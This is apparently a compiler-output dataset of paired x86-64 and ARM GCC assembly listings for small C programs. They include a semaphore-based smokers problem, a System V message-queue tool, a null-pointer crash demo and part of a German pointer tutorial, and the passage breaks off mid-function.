.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "297256.c"
.text
.align 2
.global test0
.syntax unified
.arm
.fpu softvfp
.type test0, %function
test0:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
bl opaque
mov r3, r0
mov r0, r3
pop {fp, pc}
.size test0, .-test0
.align 2
.global test1
.syntax unified
.arm
.fpu softvfp
.type test1, %function
test1:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size test1, .-test1
.align 2
.weak test2
.syntax unified
.arm
.fpu softvfp
.type test2, %function
test2:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
mov r3, #0
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size test2, .-test2
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "359023.c"
.intel_syntax noprefix
.text
.globl agentSem
.bss
.align 32
.type agentSem, @object
.size agentSem, 32
agentSem:
.zero 32
.globl tobaccoSem
.align 32
.type tobaccoSem, @object
.size tobaccoSem, 32
tobaccoSem:
.zero 32
.globl paperSem
.align 32
.type paperSem, @object
.size paperSem, 32
paperSem:
.zero 32
.globl matchSem
.align 32
.type matchSem, @object
.size matchSem, 32
matchSem:
.zero 32
.text
.globl agentA
.type agentA, @function
agentA:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
.L2:
lea rdi, agentSem[rip]
call sem_wait@PLT
lea rdi, tobaccoSem[rip]
call sem_post@PLT
lea rdi, paperSem[rip]
call sem_post@PLT
jmp .L2
.cfi_endproc
.LFE6:
.size agentA, .-agentA
.globl agentB
.type agentB, @function
agentB:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
.L4:
lea rdi, agentSem[rip]
call sem_wait@PLT
lea rdi, tobaccoSem[rip]
call sem_post@PLT
lea rdi, matchSem[rip]
call sem_post@PLT
jmp .L4
.cfi_endproc
.LFE7:
.size agentB, .-agentB
.globl agentC
.type agentC, @function
agentC:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
.L6:
lea rdi, agentSem[rip]
call sem_wait@PLT
lea rdi, paperSem[rip]
call sem_post@PLT
lea rdi, matchSem[rip]
call sem_post@PLT
jmp .L6
.cfi_endproc
.LFE8:
.size agentC, .-agentC
.section .rodata
.LC0:
.string "Smoker is smoking ...."
.LC1:
.string "Smoker is done smoking...."
.text
.globl smoke
.type smoke, @function
smoke:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, .LC0[rip]
call puts@PLT
mov edi, 1
call sleep@PLT
lea rdi, .LC1[rip]
call puts@PLT
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size smoke, .-smoke
.globl smokerPaper
.type smokerPaper, @function
smokerPaper:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
.L9:
lea rdi, tobaccoSem[rip]
call sem_wait@PLT
lea rdi, matchSem[rip]
call sem_wait@PLT
call smoke
lea rdi, agentSem[rip]
call sem_post@PLT
jmp .L9
.cfi_endproc
.LFE10:
.size smokerPaper, .-smokerPaper
.globl smokerTobacco
.type smokerTobacco, @function
smokerTobacco:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
.L11:
lea rdi, paperSem[rip]
call sem_wait@PLT
lea rdi, matchSem[rip]
call sem_wait@PLT
call smoke
lea rdi, agentSem[rip]
call sem_post@PLT
jmp .L11
.cfi_endproc
.LFE11:
.size smokerTobacco, .-smokerTobacco
.globl smokerMatches
.type smokerMatches, @function
smokerMatches:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
.L13:
lea rdi, tobaccoSem[rip]
call sem_wait@PLT
lea rdi, paperSem[rip]
call sem_wait@PLT
call smoke
lea rdi, agentSem[rip]
call sem_post@PLT
jmp .L13
.cfi_endproc
.LFE12:
.size smokerMatches, .-smokerMatches
.globl main
.type main, @function
main:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 160
mov DWORD PTR -148[rbp], edi
mov QWORD PTR -160[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov edx, 1
mov esi, 0
lea rdi, agentSem[rip]
call sem_init@PLT
mov edx, 0
mov esi, 0
lea rdi, tobaccoSem[rip]
call sem_init@PLT
mov edx, 0
mov esi, 0
lea rdi, paperSem[rip]
call sem_init@PLT
mov edx, 0
mov esi, 0
lea rdi, matchSem[rip]
call sem_init@PLT
lea rax, agentA[rip]
mov QWORD PTR -64[rbp], rax
lea rax, agentB[rip]
mov QWORD PTR -56[rbp], rax
lea rax, agentC[rip]
mov QWORD PTR -48[rbp], rax
lea rax, smokerTobacco[rip]
mov QWORD PTR -32[rbp], rax
lea rax, smokerMatches[rip]
mov QWORD PTR -24[rbp], rax
lea rax, smokerPaper[rip]
mov QWORD PTR -16[rbp], rax
mov DWORD PTR -144[rbp], 0
jmp .L15
.L16:
mov eax, DWORD PTR -144[rbp]
cdqe
mov rax, QWORD PTR -64[rbp+rax*8]
lea rcx, -128[rbp]
mov edx, DWORD PTR -144[rbp]
movsx rdx, edx
sal rdx, 3
lea rdi, [rcx+rdx]
mov ecx, 0
mov rdx, rax
mov esi, 0
call pthread_create@PLT
add DWORD PTR -144[rbp], 1
.L15:
cmp DWORD PTR -144[rbp], 2
jle .L16
mov DWORD PTR -140[rbp], 0
jmp .L17
.L18:
mov eax, DWORD PTR -140[rbp]
cdqe
mov rax, QWORD PTR -32[rbp+rax*8]
lea rcx, -96[rbp]
mov edx, DWORD PTR -140[rbp]
movsx rdx, edx
sal rdx, 3
lea rdi, [rcx+rdx]
mov ecx, 0
mov rdx, rax
mov esi, 0
call pthread_create@PLT
add DWORD PTR -140[rbp], 1
.L17:
cmp DWORD PTR -140[rbp], 2
jle .L18
mov DWORD PTR -136[rbp], 0
jmp .L19
.L20:
mov eax, DWORD PTR -136[rbp]
cdqe
mov rax, QWORD PTR -128[rbp+rax*8]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
add DWORD PTR -136[rbp], 1
.L19:
cmp DWORD PTR -136[rbp], 2
jle .L20
mov DWORD PTR -132[rbp], 0
jmp .L21
.L22:
mov eax, DWORD PTR -132[rbp]
cdqe
mov rax, QWORD PTR -96[rbp+rax*8]
mov esi, 0
mov rdi, rax
call pthread_join@PLT
add DWORD PTR -132[rbp], 1
.L21:
cmp DWORD PTR -132[rbp], 2
jle .L22
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L24
call __stack_chk_fail@PLT
.L24:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "359023.c"
.text
.comm agentSem,16,4
.comm tobaccoSem,16,4
.comm paperSem,16,4
.comm matchSem,16,4
.align 2
.global agentA
.syntax unified
.arm
.fpu softvfp
.type agentA, %function
agentA:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
.L2:
ldr r0, .L3
bl sem_wait
ldr r0, .L3+4
bl sem_post
ldr r0, .L3+8
bl sem_post
b .L2
.L4:
.align 2
.L3:
.word agentSem
.word tobaccoSem
.word paperSem
.size agentA, .-agentA
.align 2
.global agentB
.syntax unified
.arm
.fpu softvfp
.type agentB, %function
agentB:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
.L6:
ldr r0, .L7
bl sem_wait
ldr r0, .L7+4
bl sem_post
ldr r0, .L7+8
bl sem_post
b .L6
.L8:
.align 2
.L7:
.word agentSem
.word tobaccoSem
.word matchSem
.size agentB, .-agentB
.align 2
.global agentC
.syntax unified
.arm
.fpu softvfp
.type agentC, %function
agentC:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
.L10:
ldr r0, .L11
bl sem_wait
ldr r0, .L11+4
bl sem_post
ldr r0, .L11+8
bl sem_post
b .L10
.L12:
.align 2
.L11:
.word agentSem
.word paperSem
.word matchSem
.size agentC, .-agentC
.section .rodata
.align 2
.LC2:
.ascii "Smoker is smoking ....\000"
.align 2
.LC3:
.ascii "Smoker is done smoking....\000"
.text
.align 2
.global smoke
.syntax unified
.arm
.fpu softvfp
.type smoke, %function
smoke:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r0, .L14
bl puts
mov r0, #1
bl sleep
ldr r0, .L14+4
bl puts
nop
pop {fp, pc}
.L15:
.align 2
.L14:
.word .LC2
.word .LC3
.size smoke, .-smoke
.align 2
.global smokerPaper
.syntax unified
.arm
.fpu softvfp
.type smokerPaper, %function
smokerPaper:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
.L17:
ldr r0, .L18
bl sem_wait
ldr r0, .L18+4
bl sem_wait
bl smoke
ldr r0, .L18+8
bl sem_post
b .L17
.L19:
.align 2
.L18:
.word tobaccoSem
.word matchSem
.word agentSem
.size smokerPaper, .-smokerPaper
.align 2
.global smokerTobacco
.syntax unified
.arm
.fpu softvfp
.type smokerTobacco, %function
smokerTobacco:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
.L21:
ldr r0, .L22
bl sem_wait
ldr r0, .L22+4
bl sem_wait
bl smoke
ldr r0, .L22+8
bl sem_post
b .L21
.L23:
.align 2
.L22:
.word paperSem
.word matchSem
.word agentSem
.size smokerTobacco, .-smokerTobacco
.align 2
.global smokerMatches
.syntax unified
.arm
.fpu softvfp
.type smokerMatches, %function
smokerMatches:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
.L25:
ldr r0, .L26
bl sem_wait
ldr r0, .L26+4
bl sem_wait
bl smoke
ldr r0, .L26+8
bl sem_post
b .L25
.L27:
.align 2
.L26:
.word tobaccoSem
.word paperSem
.word agentSem
.size smokerMatches, .-smokerMatches
.section .rodata
.align 2
.LC0:
.word agentA
.word agentB
.word agentC
.align 2
.LC1:
.word smokerTobacco
.word smokerMatches
.word smokerPaper
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 80
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #80
str r0, [fp, #-80]
str r1, [fp, #-84]
ldr r3, .L39
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r2, #1
mov r1, #0
ldr r0, .L39+4
bl sem_init
mov r2, #0
mov r1, #0
ldr r0, .L39+8
bl sem_init
mov r2, #0
mov r1, #0
ldr r0, .L39+12
bl sem_init
mov r2, #0
mov r1, #0
ldr r0, .L39+16
bl sem_init
ldr r2, .L39+20
sub r3, fp, #32
ldm r2, {r0, r1, r2}
stm r3, {r0, r1, r2}
ldr r2, .L39+24
sub r3, fp, #20
ldm r2, {r0, r1, r2}
stm r3, {r0, r1, r2}
mov r3, #0
str r3, [fp, #-72]
b .L29
.L30:
sub r2, fp, #56
ldr r3, [fp, #-72]
lsl r3, r3, #2
add r0, r2, r3
ldr r3, [fp, #-72]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r2, [r3, #-28]
mov r3, #0
mov r1, #0
bl pthread_create
ldr r3, [fp, #-72]
add r3, r3, #1
str r3, [fp, #-72]
.L29:
ldr r3, [fp, #-72]
cmp r3, #2
ble .L30
mov r3, #0
str r3, [fp, #-68]
b .L31
.L32:
sub r2, fp, #44
ldr r3, [fp, #-68]
lsl r3, r3, #2
add r0, r2, r3
ldr r3, [fp, #-68]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r2, [r3, #-16]
mov r3, #0
mov r1, #0
bl pthread_create
ldr r3, [fp, #-68]
add r3, r3, #1
str r3, [fp, #-68]
.L31:
ldr r3, [fp, #-68]
cmp r3, #2
ble .L32
mov r3, #0
str r3, [fp, #-64]
b .L33
.L34:
ldr r3, [fp, #-64]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-52]
mov r1, #0
mov r0, r3
bl pthread_join
ldr r3, [fp, #-64]
add r3, r3, #1
str r3, [fp, #-64]
.L33:
ldr r3, [fp, #-64]
cmp r3, #2
ble .L34
mov r3, #0
str r3, [fp, #-60]
b .L35
.L36:
ldr r3, [fp, #-60]
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-40]
mov r1, #0
mov r0, r3
bl pthread_join
ldr r3, [fp, #-60]
add r3, r3, #1
str r3, [fp, #-60]
.L35:
ldr r3, [fp, #-60]
cmp r3, #2
ble .L36
mov r3, #0
ldr r2, .L39
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L38
bl __stack_chk_fail
.L38:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L40:
.align 2
.L39:
.word .LC4
.word agentSem
.word tobaccoSem
.word paperSem
.word matchSem
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "887372.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "Message too long. Maximum size is %d\n"
.LC1:
.string "Error in msgsnd: "
.LC2:
.string "Sent! msg = %s\n"
.text
.type send_message, @function
send_message:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov DWORD PTR -100[rbp], edi
mov QWORD PTR -112[rbp], rsi
mov DWORD PTR -104[rbp], edx
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -112[rbp]
mov rdi, rax
call strlen@PLT
cmp rax, 80
jbe .L2
mov rax, QWORD PTR stderr[rip]
mov edx, 80
lea rsi, .LC0[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L2:
mov eax, DWORD PTR -104[rbp]
cdqe
mov QWORD PTR -96[rbp], rax
mov rax, QWORD PTR -112[rbp]
lea rdx, -96[rbp]
add rdx, 8
mov rsi, rax
mov rdi, rdx
call strcpy@PLT
lea rsi, -96[rbp]
mov eax, DWORD PTR -100[rbp]
mov ecx, 2048
mov edx, 80
mov edi, eax
call msgsnd@PLT
cmp eax, -1
jne .L3
lea rdi, .LC1[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L3:
mov rax, QWORD PTR -112[rbp]
mov rsi, rax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L4
call __stack_chk_fail@PLT
.L4:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size send_message, .-send_message
.section .rodata
.LC3:
.string "Error in msgrcv."
.LC4:
.string "No messages in queue."
.LC5:
.string "Message: %s\n"
.text
.type recv_message, @function
recv_message:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov DWORD PTR -100[rbp], edi
mov DWORD PTR -104[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov eax, DWORD PTR -104[rbp]
movsx rdx, eax
lea rsi, -96[rbp]
mov eax, DWORD PTR -100[rbp]
mov r8d, 0
mov rcx, rdx
mov edx, 80
mov edi, eax
call msgrcv@PLT
cmp rax, -1
jne .L6
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 42
je .L7
lea rdi, .LC3[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L7:
lea rdi, .LC4[rip]
call puts@PLT
jmp .L10
.L6:
lea rax, -96[rbp]
add rax, 8
mov rsi, rax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
.L10:
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L9
call __stack_chk_fail@PLT
.L9:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size recv_message, .-recv_message
.section .rodata
.LC6:
.string "Error in msgget."
.LC7:
.string "-s"
.LC8:
.string "-r"
.text
.globl main
.type main, @function
main:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -12[rbp], 1234
mov eax, DWORD PTR -12[rbp]
mov esi, 950
mov edi, eax
call msgget@PLT
mov DWORD PTR -8[rbp], eax
cmp DWORD PTR -8[rbp], -1
jne .L12
lea rdi, .LC6[rip]
call perror@PLT
mov edi, 1
call exit@PLT
.L12:
mov DWORD PTR -4[rbp], 1
mov rax, QWORD PTR -32[rbp]
add rax, 8
mov rax, QWORD PTR [rax]
lea rsi, .LC7[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L13
cmp DWORD PTR -20[rbp], 3
jne .L13
mov rax, QWORD PTR -32[rbp]
add rax, 16
mov rcx, QWORD PTR [rax]
mov edx, DWORD PTR -4[rbp]
mov eax, DWORD PTR -8[rbp]
mov rsi, rcx
mov edi, eax
call send_message
jmp .L14
.L13:
mov rax, QWORD PTR -32[rbp]
add rax, 8
mov rax, QWORD PTR [rax]
lea rsi, .LC8[rip]
mov rdi, rax
call strcmp@PLT
test eax, eax
jne .L14
mov edx, DWORD PTR -4[rbp]
mov eax, DWORD PTR -8[rbp]
mov esi, edx
mov edi, eax
call recv_message
.L14:
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "887372.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Message too long. Maximum size is %d\012\000"
.align 2
.LC1:
.ascii "Error in msgsnd: \000"
.align 2
.LC2:
.ascii "Sent! msg = %s\012\000"
.align 2
.LC3:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type send_message, %function
send_message:
@ args = 0, pretend = 0, frame = 104
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #104
str r0, [fp, #-96]
str r1, [fp, #-100]
str r2, [fp, #-104]
ldr r3, .L5
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, [fp, #-100]
bl strlen
mov r3, r0
cmp r3, #80
bls .L2
ldr r3, .L5+4
ldr r3, [r3]
mov r2, #80
ldr r1, .L5+8
mov r0, r3
bl fprintf
mov r0, #1
bl exit
.L2:
ldr r3, [fp, #-104]
str r3, [fp, #-92]
sub r3, fp, #92
add r3, r3, #4
ldr r1, [fp, #-100]
mov r0, r3
bl strcpy
sub r1, fp, #92
mov r3, #2048
mov r2, #80
ldr r0, [fp, #-96]
bl msgsnd
mov r3, r0
cmn r3, #1
bne .L3
ldr r0, .L5+12
bl perror
mov r0, #1
bl exit
.L3:
ldr r1, [fp, #-100]
ldr r0, .L5+16
bl printf
nop
ldr r3, .L5
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L4
bl __stack_chk_fail
.L4:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L6:
.align 2
.L5:
.word .LC3
.word stderr
.word .LC0
.word .LC1
.word .LC2
.size send_message, .-send_message
.section .rodata
.align 2
.LC4:
.ascii "Error in msgrcv.\000"
.align 2
.LC5:
.ascii "No messages in queue.\000"
.align 2
.LC6:
.ascii "Message: %s\012\000"
.align 2
.LC7:
.word __stack_chk_guard
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type recv_message, %function
recv_message:
@ args = 0, pretend = 0, frame = 96
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #104
str r0, [fp, #-96]
str r1, [fp, #-100]
ldr r3, .L13
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r1, fp, #92
mov r3, #0
str r3, [sp]
ldr r3, [fp, #-100]
mov r2, #80
ldr r0, [fp, #-96]
bl msgrcv
mov r3, r0
cmn r3, #1
bne .L8
bl __errno_location
mov r3, r0
ldr r3, [r3]
cmp r3, #42
beq .L9
ldr r0, .L13+4
bl perror
mov r0, #1
bl exit
.L9:
ldr r0, .L13+8
bl puts
b .L12
.L8:
sub r3, fp, #92
add r3, r3, #4
mov r1, r3
ldr r0, .L13+12
bl printf
.L12:
nop
ldr r3, .L13
ldr r2, [r3]
ldr r3, [fp, #-8]
eors r2, r3, r2
mov r3, #0
beq .L11
bl __stack_chk_fail
.L11:
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L14:
.align 2
.L13:
.word .LC7
.word .LC4
.word .LC5
.word .LC6
.size recv_message, .-recv_message
.section .rodata
.align 2
.LC8:
.ascii "Error in msgget.\000"
.align 2
.LC9:
.ascii "-s\000"
.align 2
.LC10:
.ascii "-r\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
ldr r3, .L20
str r3, [fp, #-16]
ldr r1, .L20+4
ldr r0, [fp, #-16]
bl msgget
str r0, [fp, #-12]
ldr r3, [fp, #-12]
cmn r3, #1
bne .L16
ldr r0, .L20+8
bl perror
mov r0, #1
bl exit
.L16:
mov r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-28]
add r3, r3, #4
ldr r3, [r3]
ldr r1, .L20+12
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L17
ldr r3, [fp, #-24]
cmp r3, #3
bne .L17
ldr r3, [fp, #-28]
add r3, r3, #8
ldr r3, [r3]
ldr r2, [fp, #-8]
mov r1, r3
ldr r0, [fp, #-12]
bl send_message
b .L18
.L17:
ldr r3, [fp, #-28]
add r3, r3, #4
ldr r3, [r3]
ldr r1, .L20+16
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L18
ldr r1, [fp, #-8]
ldr r0, [fp, #-12]
bl recv_message
.L18:
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L21:
.align 2
.L20:
.word 1234
.word 950
.word .LC8
.word .LC9
.word .LC10
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "52166.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Hello, segfault!"
.LC1:
.string "Now crash %d\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov QWORD PTR -8[rbp], 0
lea rdi, .LC0[rip]
call puts@PLT
mov rax, QWORD PTR -8[rbp]
mov eax, DWORD PTR [rax]
mov esi, eax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
mov eax, 0
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "52166.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Hello, segfault!\000"
.align 2
.LC1:
.ascii "Now crash %d\012\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #0
str r3, [fp, #-8]
ldr r0, .L3
bl puts
ldr r3, [fp, #-8]
ldr r3, [r3]
mov r1, r3
ldr r0, .L3+4
bl printf
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L4:
.align 2
.L3:
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "264891.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Adresse x=%p Wert x=%d\n"
.align 8
.LC1:
.string "Adresse *y=%p, Wert *y=%d (Unsinn)\n"
.LC2:
.string "\ny=&x;\n"
.LC3:
.string "Adresse *y=%p, Wert *y=%d\n"
.align 8
.LC4:
.string "\nAdresse, auf die y zeigt, ist %p\n"
.align 8
.LC5:
.string "und das ist die Adresse von x = %p\n"
.LC6:
.string "\nACHTUNG!!!\n"
.LC7:
.string "*y=10\n"
.LC8:
.string "Adresse x=%p, Wert x=%d\n"
.align 8
.LC9:
.string "weiterhin die Adresse von x (%p)\n"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
